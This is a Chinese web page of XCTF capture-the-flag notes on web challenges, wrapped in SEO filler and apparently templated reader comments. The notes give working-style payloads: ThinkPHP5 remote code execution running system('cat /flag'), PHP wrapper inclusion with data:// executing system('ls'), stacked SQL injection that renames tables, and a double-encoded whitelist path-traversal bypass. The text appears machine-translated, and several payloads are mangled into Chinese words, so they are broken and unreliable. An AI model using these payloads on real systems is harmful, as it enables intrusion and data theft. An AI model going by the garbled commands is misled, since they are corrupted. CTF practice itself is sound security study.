大家好,今天来为大家解答深入探索XCTF进阶区:实战刷题笔记分享这个问题的一些问题点,包括也一样很多人还不知道,因此呢,今天就来为大家分析分析,现在让我们一起来看看吧!如果解决了您的问题,还望您关注下本站哦,谢谢~
当我打开问题地址时,发现问题位于/1.php。我按照提示改成了index.php,却发现还是1.php。
打开网络监控的index.php文件,发现location设置为1.php,找到FLAG
F12
2.Training-WWW-Robots
访问http://220.249.52.133:59005/robots.txt
发现
爬虫协议http://220.249.52.133:59005//fl0g.php获取flag
3.php_rce
测试点:ThinkPHP5框架底层没有严格过滤控制器名称。 ThinkPHP框架的敏感函数都是通过URL调用的。
我刚刚收到问题,没有任何想法。建议你去百度搜索一下(tcl
这里推荐一篇来自Freebuf的文章:ThinkPHP 5.1框架结合RCE漏洞深入分析
不像两点题那么难
直接给出payload:s=index/thinkApp/invokefunctionfunction=call_user_func_arrayvars[0]=systemvars[1][]=cat%20/flag
4.web_php_include
测试点:文件包含和PHP 伪协议。老大的伪协议学习资料
问题源码
方法1:PHP://input伪协议
strstr() - 搜索一个字符串是否存在于另一个字符串中(不区分大小写),如果存在,则返回该字符串及其剩余部分
strstr(字符串,搜索,before_search)
str_replace("php://"," ",$page)-搜索$page中是否有php: //如果有则用" "代替,区分大小写
可以使用PHP://input绕过str_replace函数
构造payload:http://220.249.52.133:41917/?page=PHP://输入
输入的post流找到flag fl4gisisish3r3.php的地址
如果您使用?php show_source("fl4gisisish3r3.php");在源码的注释中,页面会直接显示包含flag的fl4gisisish3r3.php的源码。
方法二:date伪协议
构建有效负载
http://220.249.52.133:33309/?page=data://text/plain,%3C?php%20system(%22ls%22);%3E
发现fl4gisisish3r3.php 文件后
解决方案
5.supersqli
我刚刚看到问题,用1"或1=1#来看看注入效果。
发现可以注入,而且是get形注入1.我想尝试一下注入的union方法。
首先使用order by 来确定列数。例:15" order by 2 # 发现字段数为2
构造有效负载:15" union selectdatabase(),user()#
通过正则表达式过滤----失败2.改用堆栈注入:用分号结束前面的语句,然后将其他语句堆栈在一起执行。
15";showdatabase;#查询所有表
15";showtables;#查询words表中所有列
Payload: 15";显示单词中的列;#
Words表查询1919810931114514表中所有列
payloda:15";显示来自`1919810931114514`的列;#
1919810931114514表根据之前的顺序确定,可查询的2列的默认查询表是words。
更改默认查询表,将flag列名改为id
有效负载:
15";将表`words`重命名为`words1`;将表`1919810931114514`重命名为`words`;更改表`words` 更改`flag` `id` varchar(100);#
然后使用主密钥(hhh
1"或1=1#
获取标志
旗帜!
6.ics-06
据标题描述:云平台报表中心收集了基础设备管理服务的数据,但数据被删除,只留下了入侵者的一丝痕迹。
点击打开举报中心进入新页面
这非常令人困惑,我发现有太多带有日期范围的页面。
一开始我以为问题标题在日期范围内,但是尝试了很多次都没有结果(没想到ID会爆炸)
搜索发现是id爆破。 URL get方法请求id=1,于是我做了一个id字典,开始爆破。
第2333章发现2333长度不一样。点击找到旗帜。
7.warmup(经典题)
F12 发现笔记
访问http://220.249.52.133:59743/source.php
然后访问hint.php页面,会显示flag not here,以及flag in ffffllllaaaagggg。返回source.php 并仔细审核代码。
主要是先运行代码! empty($_REQUEST["file"] file参数不能为空
第二!空($_REQUEST["file"] 文件参数必须是字符串
接下来我们看一下checkFile函数
checkfile函数首先定义白名单$whitelist=["source"="source.php","hint"="hint.php"];
其次if (!isset($page) || !is_string($page)) 所以file参数的值不能为空,必须是字符串
然后if(in_array($page, $whitelist))验证file参数是否在白名单中。如果此时你的文件参数是source.php或者hint.php,那么就会访问source.php或者hint.php;显然你想要的不是他们被访问。
然后往下看
$_page=mb_substr($page,0,mb_strpos($page . "?", "?")
if (in_array($_page, $whitelist)) {返回true;}
substr(string,start,length):返回字符串的一部分
字符串:必填。指定要搜索的字符串。查找:必填。指定要搜索的字符。开始:可选。指定要返回的字符串的长度。默认值是直到字符串末尾。
strpos(string,find,start):查找一个字符串在另一个字符串中第一次出现的位置
需要字符串。指定要搜索的字符串。找到需要的。指定要搜索的字符。开始是可选的。指定开始搜索的位置。
那么这段代码的意思是返回第一个之前的字符串?如果存在于白名单中则返回true。
这里出现了个非预期解法(何为非预期:出题人没想到的
Payload: file=hint.php?/././././ffffllllaaaagggg (tip:中的./这里一一尝试)
或file=source.php?/././././ffffllllaaaagggg
抛开这个解法
然后往下看$_page=urldecode($page);这是一个url解码
构建有效负载:file=source.php%253f./././././ffffllllaaaagggg
或file=hint.php%253f./././././ffffllllaaaagggg
因为url经过后端时自动解码一次,是否需要编码两次?第一个URL 编码为%3f,第二个URL 编码为%253f
可以获得flag。
文章分享结束,深入探索XCTF进阶区:实战刷题笔记分享和的答案你都知道了吗?欢迎再次光临本站哦!
【深入探索XCTF进阶区:实战刷题笔记分享】相关文章:
2.米颠拜石
3.王羲之临池学书
8.郑板桥轶事十则
用户评论
终于打通了前线赛道的进阶区!
有17位网友表示赞同!
分享你的一些进阶区刷题笔记是很有价值的啊!
有13位网友表示赞同!
想要挑战一下进阶区的题目,但还没找到合适的资料。
有12位网友表示赞同!
这篇文章能帮助我了解进阶区的知识点和解题思路吗?
有6位网友表示赞同!
看了这个标题,感觉难度应该挺高的,不过很想挑战一下!
有17位网友表示赞同!
做XCTF的笔记一直是很有必要的,这样可以回味之前的学习和总结经验。
有20位网友表示赞同!
进阶区真的蛮难的,希望这篇文章能给我一些启发!
有9位网友表示赞同!
刷题笔记总是最实际有用的学习资料啊!
有17位网友表示赞同!
最近一直在准备XCTF比赛,遇到了一些难题,希望能从你的笔记里找到答案。
有11位网友表示赞同!
分享笔记真的很棒!希望你能详细讲解每个题目的解法。
有11位网友表示赞同!
进阶区的内容感觉很新颖,期待学习到更多知识!
有10位网友表示赞同!
有没有一些进阶区的经典题目推荐?
有13位网友表示赞同!
你的笔记是不是针对某个特定的进阶区主题啊?
有14位网友表示赞同!
希望能了解一下你最常用的解题技巧和工具。
有5位网友表示赞同!
XCTF真是太有趣了,很想和大家一起学习交流!
有20位网友表示赞同!
我已经参加了很多XCTF比赛,感觉进阶区的难度确实很高!
有16位网友表示赞同!
做笔记真的可以帮助我们更好地理解复杂的概念!
有12位网友表示赞同!
希望你的笔记能够帮助我解决一些卡关的难题!
有14位网友表示赞同!
真希望能看到更多关于XCTF进阶区的学习资源!
有9位网友表示赞同!
提前谢谢你的分享!
有16位网友表示赞同!